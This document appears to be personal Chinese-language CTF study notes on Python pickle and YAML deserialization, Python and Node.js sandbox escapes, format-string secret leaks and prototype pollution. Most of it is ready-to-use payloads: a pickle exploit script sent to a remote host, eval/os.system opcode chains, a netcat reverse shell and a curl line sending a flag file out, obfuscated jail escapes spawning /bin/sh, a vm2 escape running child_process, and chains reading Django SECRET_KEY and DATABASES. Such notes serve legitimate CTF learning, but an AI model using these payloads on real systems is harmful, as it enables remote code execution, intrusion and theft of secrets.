python反序列化+沙箱逃逸++js+redis

草文,发上来挂着

python反序列化

Python反序列化漏洞与沙箱逃逸 - 个人学习分享

Python 反序列化浅析-腾讯云开发者社区-腾讯云

pickle反序列化

Python Pickle 序列化格式的协议 0/1/2(文本协议)
用guess_game这题的payload去分析py

前半部分:描述了一个简单的字典对象。后半部分看下边

复制代码
cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

等同于

复制代码
class game:
    def __init__(self):
        self.round_count = 10
        self.win_count = 10
​
# 示例字典形式:
obj = {
    'round_count': 10,
    'win_count': 10
}

复制代码
# Pickle 可能表示的类实例
from guess_game import game
​
obj = game()
obj.round_count = 10
obj.win_count = 10
​
Opcode 含义
c GLOBAL:加载一个全局对象,通常是模块中的类或函数。
} DICT:表示一个字典对象的开始。
S STRING:表示一个字符串。
I INT:表示一个整数(在协议 0 中的整数表示方法)。
s SETITEM:结束当前字典条目,表示为键值对设置值(键值关系存入字典)。
b STOP:表示序列化流结束,这是序列化文件的最后一个操作符。
复制代码
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
}:push一个空的字典,相当于push {}
S: push一个字符串
I: push一个整型
s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。
b: 调用__setstate__ 或者 __dict__.update()
dict.update:更新对象的属性的

后半部分 :描述了一个 Ticket 类的实例。!不需要手搓,直接dump出来就行

复制代码
cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.
部分 协议
cguess_game.Ticket\nTicket\n 通用(协议 0 和协议 1 均支持)。
q\x00 q\x01 q\x02 q\x03 协议 2MEMOIZE 操作码记录引用。
)\x81 协议 2NEWOBJ 操作码用于高效创建新对象。
X\x06\x00\x00\x00number 协议 1BINUNICODE 操作码表示字符串(协议 2 兼容协议 1 的操作码)。
```K\xff`` 协议 1:```BININT1` 操作码表示小整数(协议 2 兼容协议 1 的操作码)。
s b .``S"win_count" I10 s S"round_count" I9 s 协议 2 的 BUILD 操作码用于初始化对象,STOP 操作码表示流结束。

看不懂就去问GPT

exp↓

复制代码
import pickle
import socket
import struct
​
s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))
​
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
​
s.send(struct.pack('>I', len(exp)))
s.send(exp)
​
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
picklecode分析exp
复制代码
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

前边部分

复制代码
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

t:

  • 将之前的 dict'get' 打包成一个元组:(dict, 'get')

R:

  • 调用栈顶的函数(这里是 getattr),并使用栈中打包好的元组作为参数。

  • 等效于执行:

    复制代码
    getattr(dict, 'get')

(tR:压入空元组,形成globals()

S'builtins' :将字符串 'builtins' 压入栈。

R :调用 getattr(globals(), 'builtins'),获取全局命名空间中的 builtins 模块。

p1:将栈顶的 builtins 模块保存到标识符 p1 中(pickle 的内部标记)。

复制代码
这样可以在后续代码中通过引用 p1 来复用 builtins 模块。

接下来

复制代码
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

g1 是之前序列化数据中定义的标识符,它引用的是全局命名空间对象(globals() 返回值)。

为什么不直接用 p1 来获取 eval

虽然 eval 是一个内置函数,但它并不直接存在于 builtins 模块中,而是暴露在全局命名空间中。需要通过 globals() 获取它。这是因为:

  1. 全局命名空间的优先级高于 builtins

    • 如果全局命名空间中存在与 builtins 中同名的对象(例如用户定义的 eval 函数),Python 会优先使用全局命名空间中的定义。
  2. eval 的定位

    • eval 被直接注册在全局命名空间中,因此更适合通过 globals() 获取。
  3. 灵活性

    • 攻击者使用 globals() 能更加灵活地访问所有全局变量,而不仅仅局限于 builtins 模块的内容。

协议4具体编码

  • \x80 PROTO(调用lload_proto)

  • \x04 根据四号协议序列化的字符串

  • \X95 FRAME 调用load_frame读取后边8个字符串,:\X00\X00\X00\X00\X00\X00\X00

  • \x8c SHORT_BINUNICODE (对应load_short_binunicode),函数内容读取下一位,压入栈中

  • \x94 MEMOIZE (load_memoize)

复制代码
函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},那么这里就是{\x08__main}
  • \x93 load_stack_global
复制代码
函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中

stack:[<class '__main__.tttang'>]
  • ),对应的是EMPTY_TUPLE,也就是向栈中加入空元组

  • \x81 对应函数是load_newobj,弹出()赋值给args

  • },往栈中压入空的字典

  • (,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

  • u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{},这里的话就是取出__main__.tttang作为字典,接下来进行range遍历

弹shell/找flag
复制代码
nc ip port -e /bin/bash

curl -d @flag.txt  ip:7777

__import__('os').system('/bin/sh')
复制代码
找flag-------
du -ah / | grep flag         磁盘搜索

py反序列化做题

commands包需要py2,d盘有文件

  1. CISCN2019 华北赛区 Day1 Web2\]ikun

  2. 三道python反序列化题目介绍_python 反序列化漏洞练习题-CSDN博客

  3. SUCTF 2019\]Guess Game

    复制代码
    用钩子函数error_handler_spec写内存码
  4. dasctf2024冬季-const_python

yaml反序列化

复制代码
https://xz.aliyun.com/t/12481?time__1311=GqGxRQqiuDyDlrzG78GO7G8Imq0Kpo3x

列表

(List):列表用短横线(-)表示

复制代码
fruit: [apple, banana, orange]
相当于
fruits:
  - apple
  - banana
  - orange

支持多维数组(用缩进表示层级关系

复制代码
fruit: 
-
  - apple
  - banana
-
  - orange

漏洞

PyYaml<=5.1

默认Constructor为加载器,但是经过审计yaml模块中的Constructor.py的源码中存在对于python的标签解析时的漏洞。

!!python/object标签
!!python/object/apply标签
!!python/object/new
!!python/module
!!python/name

PyYaml>5.1

在PyYaml>5.1的版本之后,如果要使用load()函数,要跟上一个Loader的参数,否则会报错。(不影响正常输出)

  1. BaseConstructor:没有任何强制类型转换

  2. SafeConstructor:只有基础类型的强制类型转换

  3. yaml.FullLoader

  4. UnsafeConstructor:支持全部的强制类型转换

  5. Constructor:等同于 UnsafeConstructor

yaml.SafeLoader:这会加载一些基础的数据类型(如字典、列表、字符串等),并且禁止加载一些潜在危险的对象(如自定义类的实例)。

yaml.FullLoader :如果你需要加载 YAML 文件中的所有 Python 对象,包括一些自定义类或复杂的结构,可以使用 FullLoader,但请注意它可能会引入安全风险,尤其是在加载不可信的数据时。

py沙箱逃逸

找flag
复制代码
find / -type f -name "flag*" 2>/dev/null
复制代码
chcp 65001  换码utf_8

Python沙箱逃逸(pyjail) - w1hake2 - 博客园(有题目)

沙箱逃逸-通过题解了解沙箱逃逸_sandbox namespace绕过-CSDN博客(同上)

https://zhuanlan.zhihu.com/p/579183067

过滤单双引号反引号
  • 用chr构造

  • 搭配len和repr

复制代码
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(115)+chr(111)+chr(39)+chr(91)+chr(58)+chr(58)+chr(45)+chr(49)+chr(93)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))
复制代码
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read()

print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(105)+chr(110)+chr(100)+chr(32)+chr(47)+chr(32)+chr(45)+chr(110)+chr(97)+chr(109)+chr(101)+chr(32)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(34)).read())
  • 用bytes构造
复制代码
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
复制代码
print(bytes([115, 121, 115, 116, 101, 109]))	# b'system'

print(bytes([115, 121, 115, 116, 101, 109]).decode())		# system

print(bytes([115, 121, 115, 116, 101, 109]).__class__)		# <class 'bytes'>

print(bytes([115, 121, 115, 116, 101, 109]).decode().__class__)		# <class 'str'>
  1. 查找bytes的位置

    复制代码
    ().__class__.__base__.__subclasses__()[6]
  • 用type构造bytes system('sh')例↓
复制代码
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([115])+type(str(1).encode())([104])).decode())
  • doc硬凑拼图
复制代码
# system
().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]

# sh
().__doc__[19]+().__doc__[56]
+被ban
复制代码
用.add代替,然后除了第一个都要用()包上
复制代码
''.join(['1', '2', '3', '4'])
数字被ban
  1. True构造数字

    复制代码
    len(repr(True))repr(True) 的值是字符串 'True',长度为 4,所以 len(repr(True)) = 4。
    
    (True + True + True)**(True + True + True) 计算 3**3,结果是 27。
    
    all(()) + all(()) == 2
    复制代码
    __import__('os').system('sh')当os和ls关键字绕过之后,构造关键字如下
    __import__(chr((True+True+True)**(True+True+True)*len(repr(True))+True+True+True)+chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))).system(chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))+chr((True+True+True)**(True+True+True)*len(repr(True))-len(repr(True))))
字母被ban
  1. unicode

字符串绕过
复制代码
['__builtins__'] 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] 
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] 
['X19idWlsdGluc19f'.decode('base64')] 
['__buil'+'tins__'] 
['__buil''tins__'] 
['__buil'.__add__('tins__')] 
["_builtins_".join("__")] 
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]#最后这个第一次见,如果没有变态到过滤字母和数字就无敌的了
长度限制
  • 13

    • eval(input())进入交互状态,open('flag').read()

    • eval,input,help被禁用,用unicode

      • 𝓮val(inp𝓾t())

      • 𝓮𝑣ᵃ𝑙(ⁱ𝓷𝓅𝓾ₜ())

      • 𝒆𝓋𝒶𝒍(𝑖𝓷𝓹𝓾𝓽())

    • breakpoint()截断获取,然后直接敲命令

      • 𝔟𝓻𝒆𝒶𝓴𝓹𝒐𝑖𝓷𝓽()
  • 6

    • help

      复制代码
      输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag)

组合拳--找key

  • 9

    • globals()
  • 6

    复制代码
    __main__
    • vars()
python2
复制代码
print input_data
这类语句直接__import__('os').system('ls') 
其他操作
获取全局变量
复制代码
global ()和locals ()函数

使用global ()可以获取Python中的全局变量;

使用locals ()可以获取Python中的局部变量;
复制代码
import('os').system('bash')获取终端  /sh
复制代码
> dir()
['__builtins__', 'my_flag']
#有个my_flag跟进一下
> dir(my_flag)
#发现flag_level5,继续跟进
> dir(my_flag.flag_level5) 
#发现'encode',可以用这个方法实现
> my_flag.flag_level5.encode()
getattr渐变过程
复制代码
().__class__.__base__.__subclasses__()

getattr(().__class__, '__base__').__subclasses__()

getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
system构造2
复制代码
list(dict(system=114514))[0]可以获取system这个字符串

HNCTF 2022 WEEK2\]laKe laKe laKe(JAIL) **先打开,再读取,再输出** ``` __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode()) --------------------- ``` \[HNCTF 2022 WEEK2\]lak3 lak3 lak3(JAIL) * **调用栈的帧对象getframe** * ``` __import__("sys").stdout.write(str(import("sys").getframe(1))) ``` * ``` __import_("sys").stdout.write(str(import("sys")._getframe(1).f_locals)) frame对象指向'/home/ctf/./server.py'这个file,直接调用f_locals属性查看变量 ``` * ``` int(str(import('sys')._getframe(1).f_locals["right_guesser_question_answer"])) 相当于输入全局变量的标准答案 ``` ###### 执行函数调用/编写 lambda表达式 \[HNCTF 2022 WEEK3\]s@Fe safeeval(JAIL) *** ** * ** *** 适用于一些计算的绕过,如**safeeval.test_expr**的绕过 ``` # 定义一个函数:接收 x,返回 x 的平方 square = lambda x: x ** 2 print(square(5)) # 输出: 25 ``` 题解 ``` (lambda:os.system('cat flag'))() ``` ###### import加载被过滤 ``` __loader__.load_module('_posixsubprocess') 或者__builtins__['__loader__'].load_module('_posixsubprocess') ``` ###### audit_hook(pipe和_posixsubprocess) \[HNCTF 2022 WEEK3\]calc_jail_beginner_level6(JAIL) 白名单问题看不懂去下一大标题↓ ``` 利用_posixsubprocess.fork_exec来实现RCE --------------------- https://ctftime.org/writeup/31883 ``` ``` _posixsubprocess.fork_exec( [b"/bin/sh"], # 命令和参数 [b"/bin/sh"], # 可执行文件 True, # 关闭文件描述符 (), # 工作目录为空 None, None, # 环境变量未设置 -1, -1, -1, -1, # 输入输出文件描述符 -1, -1, *(os.pipe()), # 使用管道通信 False, False, None, None, None, -1, None ) ``` ``` 匿名管道:os.pipe() 创建的管道在操作系统层面是匿名的,只存在于内存中,并且只能在父子进程之间使用。 有名管道(FIFO):与匿名管道不同,有名管道会创建一个具名的文件节点(通过 os.mkfifo() 创建),进程之间可以通过该文件名通信。 ``` getting_import方法,然后improt _posixsubprocess 1. ``` __builtins__['__loader__'].load_module('_posixsubprocess') 或者 __loader__.load_module('_posixsubprocess') ``` 2. ``` import_ = ().__class__.__base__.__subclasses__()[84].load_module _posixsubprocess = import_("_posixsubprocess") pipe = ().__class__.__base__.__subclasses__()[133].__init__.__globals__['pipe'] ``` payload ``` import os __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) 或 _posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None) ``` ###### 海量运算符和秒断shell \[HNCTF 2022 WEEK2\]lak3 lak3 lak3(JAIL) 下边这个连上shell秒断 ``` [os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)] ``` 下边这个暴力多次尝试连接,考验手速,(预先保留payload,弹出shell的时候) ``` [os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(10000000000)]] ``` ###### 用metaclass \[HNCTF 2022 WEEK3\]calc_jail_beginner_level7(JAIL) ``` 通过metaclass给类添加属性 将一个类的某个属性修改为os.system这样的函数,调用的时候就可以执行;结合之前提到__getitem__可以传入字符串的属性,就可以完美构造payload ``` p1 --遗留了Expr和Call ``` import os class WOOD(): pass WOOD.__getitem__=os.system WOOD()['sh'] ``` p2 --洗清的,无遗留 ``` class WOOD(type): __getitem__=os.system class WHALE(metaclass=WOOD): pass tmp = WHALE['sh'] ``` p3函数装饰器和类定义绕过--[https://zhuanlan.zhihu.com/p/579183067](https://zhuanlan.zhihu.com/p/579183067 "https://zhuanlan.zhihu.com/p/579183067") ``` E Pls input your code: (last line must contain only --HNCTF) @exec @input class X: pass --HNCTF check is passed!now the result is: 然后输入__import__('os').system('sh') 出shell ``` ###### $() ``` __import__("os").system("$(printf'\144\144\40\151\146\75\57\146\154\141\147')")s ``` ### 黑白名单问题 * `sys.audit` 钩子的触发范围有限 ``` sys.audit 是一种事件触发机制,但它只能捕捉一些 特定事件。而 Python 内部的一些模块加载和对象属性访问操作(比如直接使用 __loader__ 或 __builtins__)并不触发相关的审计事件,因此它们绕过了 sys.audit。 ``` ``` Python 的内部机制属性,它们属于运行时的低层次功能访问,直接操作它们的行为并未触发 sys.audit 钩子所监控的事件 ``` ### 抽象语法树查看 (Abstract Syntax Tree)抽象语法树 ``` import ast src=''' import os class WOOD(): pass WOOD.__getitem__=os.system WOOD()['sh'] ''' ast_node = ast.parse(src, "test", mode="exec") print(ast.dump(ast_node)) ``` ### 导包 #### 常见 **执行系统命令** : `os.system`, `os.spawn`, `subprocess.Popen`。 **启动 Shell 或外部进程** : `pty.spawn`, `os.posix_spawn`。 **动态代码执行** : `code.__new__`, `function.__new__`。 **破坏安全机制** : `_PySys_ClearAuditHooks`。 **文件系统访问** : `open` 1. ``` __import__('pty').spawn('/bin/sh') ``` * 是用于创建伪终端的工具,通常在 Unix 系统(如 Linux 和 macOS)上使用 2. ``` os系列 'os.system' 'os.exec' 家族 'os.posix_spawn' 可以通过 os.posix_spawn('/bin/sh', ...) 获得 Shell 访问。 'os.spawn' 直接运行系统命令,与 os.system 类似,但支持更灵活的参数。 'subprocess.Popen' 可以通过 subprocess.Popen(["/bin/sh"]) 获取 Shell。 __import__('subprocess').Popen(["/bin/sh"]) ``` 3. 'os.exec' 家族 * 包括 os.execv, os.execl, os.execvp, os.execve, os.execvpe * 一旦调用,当前 Python 沙箱进程将被替换为目标程序,不再受 Python 沙箱的任何限制。 * 例如,调用 /bin/sh 或恶意二进制文件,可以轻松逃逸沙箱。 4. 'cpython._PySys_ClearAuditHooks' * 清除审计hook 5. `code.__new__`: 用于直接构造新的代码对象。 `function.__new__`: 用于动态创建函数对象。 #### 抽象语法树? ##### **`Del`** * **作用**: 删除变量或对象。在沙箱逃逸中,可以用来清除限制变量或绕过某些防护机制 * ``` del globals()['__builtins__']['exit'] ``` ##### **`FunctionDef` 和 `AsyncFunctionDef`** * **作用**: 定义函数或异步函数。在逃逸中可以用来封装恶意代码,隐藏其意图。 * ``` def run_cmd(cmd): __import__('os').system(cmd) run_cmd('ls') async def run_cmd(cmd): __import__('os').system(cmd) ``` ##### **`Add`, `Sub`, `Mult`, `Div`** * **作用**: 数学运算符,在沙箱中可能被利用为字符串拼接或数据混淆。 * ``` ''.join(['o', 's']) + '.' + 'system' + '(' + '"ls"' + ')' eval(chr(111) + chr(115) + chr(46) + chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109) + '("ls")') ``` ##### **`Expr`** * **作用**: 表达式节点,代表独立的计算语句。在沙箱中可以通过构造表达式执行代码 * ``` (lambda: __import__('os').system('ls'))() ``` ##### **`Call`** * **作用** : 表示对函数或类的调用。在沙箱逃逸中,`Call` 是执行核心功能(如运行命令或创建对象)的基础。 * ``` __builtins__.__import__('os').system('ls') eval('os.system("ls")') ``` ### 沙箱做题py #### 极客ctf ``` welcome jail hard jail doSomeMath ``` ###### hard jail ``` 法一 black=[“”“”“]这样的list是可以赋值为空的 black=[] 直接把黑名单赋空 修改black = ('some', 'items', 'to', 'block') 因为元组不可变 black = frozenset(['some', 'items', 'to', 'block'])不变集合 ``` ``` 法二 help.__class__.__eq__=eXec help._class__.__getattribute__=input help == help.a 给比较eq赋值exec;给help获取属性时赋值input ==触发eq help.a触发input,第三行就是触发exec(input())了 ``` ``` 法三 import enum from os import system enum.EnumMeta.__getitem__ = system enum.Enum[request.args[{}.__doc__[2]+{}.__doc__[15]+{}.__doc__[0]]] >>e=[].__doc__[15] >>n=[].__doc__[7] >>v=[].__doc__[48] >>enum.Enum[e+n+v] ``` ###### doSomeMath ``` ().__le__(((),())) ().__ge__(())用白名单构造出来的true __le__ 是 Python 的一个特殊方法(魔法方法),用于实现 <= 运算符 if 99 * 100 ^ 60 == eval(result): 这个左边算完是7920 ``` ``` from pwn import * data="().__le__(((),()))+"*1680 data2="(().__le__(((),()))+().__le__(((),())))**(().__le__(((),()))+ ().__le__(((),())))**(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+ ().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+ ().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+ ().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+ ().__le__(((),())))*(().__le__(((),()))+().__le__(((),())))*(().__le__(((),()))+ ().__le__(((),())))+"+data p=remote("nc1.ctfplus.cn",41784) p.recvuntil(b"99*100^60=") p.sendline(data2[:-1]) p.interactive() ``` #### \[DDCTF 2019\]homebrew event loop ``` 源码审计 ``` #### moejail_lv1-4 1. 无过滤 2. char构造 3. Unicode构造 4. eval被覆盖成函数,不是builtin_function_or_method,变成了function,所以直接从eval中拿到函数定义时的globals,从中还原**builtins**构造如下↓ ``` eval.__globals__["__builtins__"].__spec__.loader().load_module("os").system("/bin/sh") ``` 通解 ``` [ x.__init__.__globals__ for x in "".__class__.__base__.__subclasses__() if x.__name__ == "_wrap_close" ][0]["system"]("/bin/sh") ``` ##### 附readme 初步分析,因为open打开文件未关闭就执行rm删除代码,所以文件不应该被删除, 统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,/proc/self表示当前进程目录。但是在此处我们不能直到进程的pid号所以需要用到/proc/self 来表示当前进程目录。 self 目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。 fd是一个目录,里面包含着当前进程打开的每一个文件的描述符,并将其作为路径,这些文件描述符是指向实际文件的一个符号连接。 ``` https://www.bookstack.cn/read/linux-insides-zh/SysCall-linux-syscall-5.md [彻底弄懂 Linux 下的文件描述符(fd) | 半亩方塘 (handongke.github.io)](https://handongke.github.io/2020/08/14/彻底弄懂 Linux 下的文件描述符(fd)/#5、Python中文件描述符的使用) ``` ``` payload /proc/self/fd/3 ``` ### vm沙箱 #### \[HFCTF2020\]JustEscape vm沙箱逃逸 ``` https://github.com/patriksimek/vm2/issues/225 ``` #### 24极客escapeSandbox_PLUS js的小特性 ``` 两个奇特的字符"ı"、"ſ"。 这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。 ``` cve ``` async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('sleep 3'); } ) } } }; p.then(); ``` ### python 格式化字符串漏洞 [Python 格式化字符串漏洞(Django为例) \| 离别歌](https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html "Python 格式化字符串漏洞(Django为例) | 离别歌") ##### **模板中的表达式**: ``` {{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }} ``` 逐级分析: 1. **`request`**: * 模板中 `request` 是 Django 提供的全局变量,代表当前 HTTP 请求对象。 * 由 `django.template.context_processors.request` 注入模板上下文。 2. **`request.user`**: * 当前登录用户的用户对象,通常是 `django.contrib.auth.models.User` 的实例。 3. **`request.user.groups`**: * 获取用户所属的所有组,通常是一个关联管理器 (`RelatedManager`),表示多对多关系。 4. **`request.user.groups.source_field`**: * `source_field` 可能是内部属性,用于表示组模型与用户模型关联的字段。 * Django 内部使用这种字段来描述模型的关系。 5. **`opts`**: * Django 模型的 `_meta` 信息的别名,包含模型的元数据。 6. **`opts.app_config`**: * 与之前分析一致,获取模型所属应用的配置信息。 7. **`opts.app_config.module.admin`**: * 获取该应用模块的 `admin` 文件模块。 8. **`opts.app_config.module.admin.settings`**: * 指向 Django 的 `settings` 模块。 9. **`opts.app_config.module.admin.settings.SECRET_KEY`**: * 从 Django 设置中获取 `SECRET_KEY` 值。 ``` user.__class__._meta.app_config.module.admin.settings.DATABASES ``` **1. `user`** * 这是一个对象,通常代表一个用户实例(可能是 `django.contrib.auth.models.User` 的实例,或一个自定义用户模型实例)。 *** ** * ** *** **2. `user.__class__`** * 返回 `user` 对象的类。例如,如果 `user` 是 `User` 的实例,那么 `user.__class__` 就是 ``。 *** ** * ** *** **3. `user.__class__._meta`** * 在 Django 的模型类中,每个模型都有一个 `_meta` 属性,包含该模型的元信息(metadata)。 * `_meta` 是 `django.db.models.options.Options` 的实例,用于存储模型的配置信息,如字段、表名、关联关系等。 *** ** * ** *** **4. `user.__class__._meta.app_config`** * `app_config` 是与模型关联的 Django 应用的配置信息,通常是 `django.apps.config.AppConfig` 的实例。 * 它存储了当前模型所属应用的相关信息。例如: * `app_config.name`: 应用的名称(如 `auth`)。 * `app_config.module`: 应用的 Python 模块。 *** ** * ** *** **5. `user.__class__._meta.app_config.module`** * `module` 是 Django 应用的 Python 模块引用。 * 例如,如果 `app_config.name` 是 `myapp`,那么 `module` 可能是 ``。 *** ** * ** *** **6. `user.__class__._meta.app_config.module.admin`** * `admin` 可能是应用模块中的 `admin.py` 文件引用。 * 通过访问 `module.admin`,可以动态引用 Django 应用的 `admin` 模块。 *** ** * ** *** **7. `user.__class__._meta.app_config.module.admin.settings`** * 如果 `admin` 模块中导入了 `settings`,则这里是一个指向 Django 的 `settings` 配置模块的引用(例如,通过 `from django.conf import settings`)。 * `settings` 是 Django 的配置对象,包含所有配置项(如 `DATABASES`, `INSTALLED_APPS`)。 *** ** * ** *** **8. `user.__class__._meta.app_config.module.admin.settings.DATABASES`** * `DATABASES` 是 Django 的数据库配置项,通常在 `settings.py` 中定义。 * 它是一个字典,存储了项目中数据库的配置信息。例如: ``` python复制代码DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } ``` * 通过 `user.__class__._meta.app_config.module.admin.settings.DATABASES`,你访问到了 `settings.DATABASES`。 ## py原型链污染 1. object无法被污染 学习网站 1. [https://xz.aliyun.com/t/13072?u_atoken=4b378eca76882816b74fa6744a4b5d9f\&u_asig=0a47315217320784910575306e0041](https://xz.aliyun.com/t/13072?u_atoken=4b378eca76882816b74fa6744a4b5d9f&u_asig=0a47315217320784910575306e0041 "https://xz.aliyun.com/t/13072?u_atoken=4b378eca76882816b74fa6744a4b5d9f&u_asig=0a47315217320784910575306e0041") 2. #### 危险代码段 1. merge 2. #### 获取目标类 1. 根据父子关系获取 ``` payload = { "__class__" : { "__base__" : { "secret" : "world" } } } ``` 2. 获取全局变量 ``` a=1 def demo(): pass class A : def __init__(self): pass print(demo.__globals__==globals()==A.__init__.__globals__) 在函数或类方法中,我们经常会看到__init__初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__ 属性返回一个字典,里面包含了函数定义时所在模块的全局变量。 ``` 3. #### 加载其他模块 1. import加载获取 2. sys模块加载获取 3. 加载器loader获取 #### 函数形参默认值替换 在Python中,`1.__defaults__`是一个元组,用于存储函数或方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在`__defaults__`元组中。 `2.__kwdefaults__`是以字典形式来进行收录:和default一个样子 ``` def a(var_1, var_2 =2, var_3 = 3): pass print(a.__defaults__) #(2, 3) ``` 所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换,但是前提条件是我们要替换的值是元组的形式:\` ``` payload = { "__init__" : { "__globals__" : { "demo" : { "__defaults__" : (True,) } } } } ``` 用**kwdefaults**形式如下↓ ``` payload = { "__init__" : { "__globals__" : { "demo" : { "__kwdefaults__" : { "shell" : True } } } } } ``` #### 关键信息替换 1. flask密钥替换 2. _got_first_request: ``` payload={ "__init__":{ "__globals__":{ "app":{ "_got_first_request":False } } } } 用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用: ``` 3. _static_url_path: ``` payload={ "__init__":{ "__globals__":{ "app":{ "_static_folder":"./" } } } } 用来绕过原配的静态目录static ``` 4. os.path.pardir: ``` payload={ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"," } } } } } 在绕过静态目录static的时候;模板渲染的时候,防止目录穿梭的限制操作,把这个os.path.pardir修改为。。意外的其他值 ``` 5. jinjia2语法标识,修改flask模板开头标识和结尾标识 ``` { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "[[","variable_end_string":"]]" } } } } ``` 6. ## js污染 ``` https://xz.aliyun.com/t/7182?time__1311=n4%2BxnD0Dy737q4YqAKDsA3rxIoxvrDgnDGTID ``` (1)所有引用类型(函数,数组,对象)都拥有`__proto__`属性(隐式原型 (2)所有函数拥有`prototype`属性(显式原型)(仅限函数) 我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性`__proto__`指向了构造函数A的原型对象B。 ### 关系 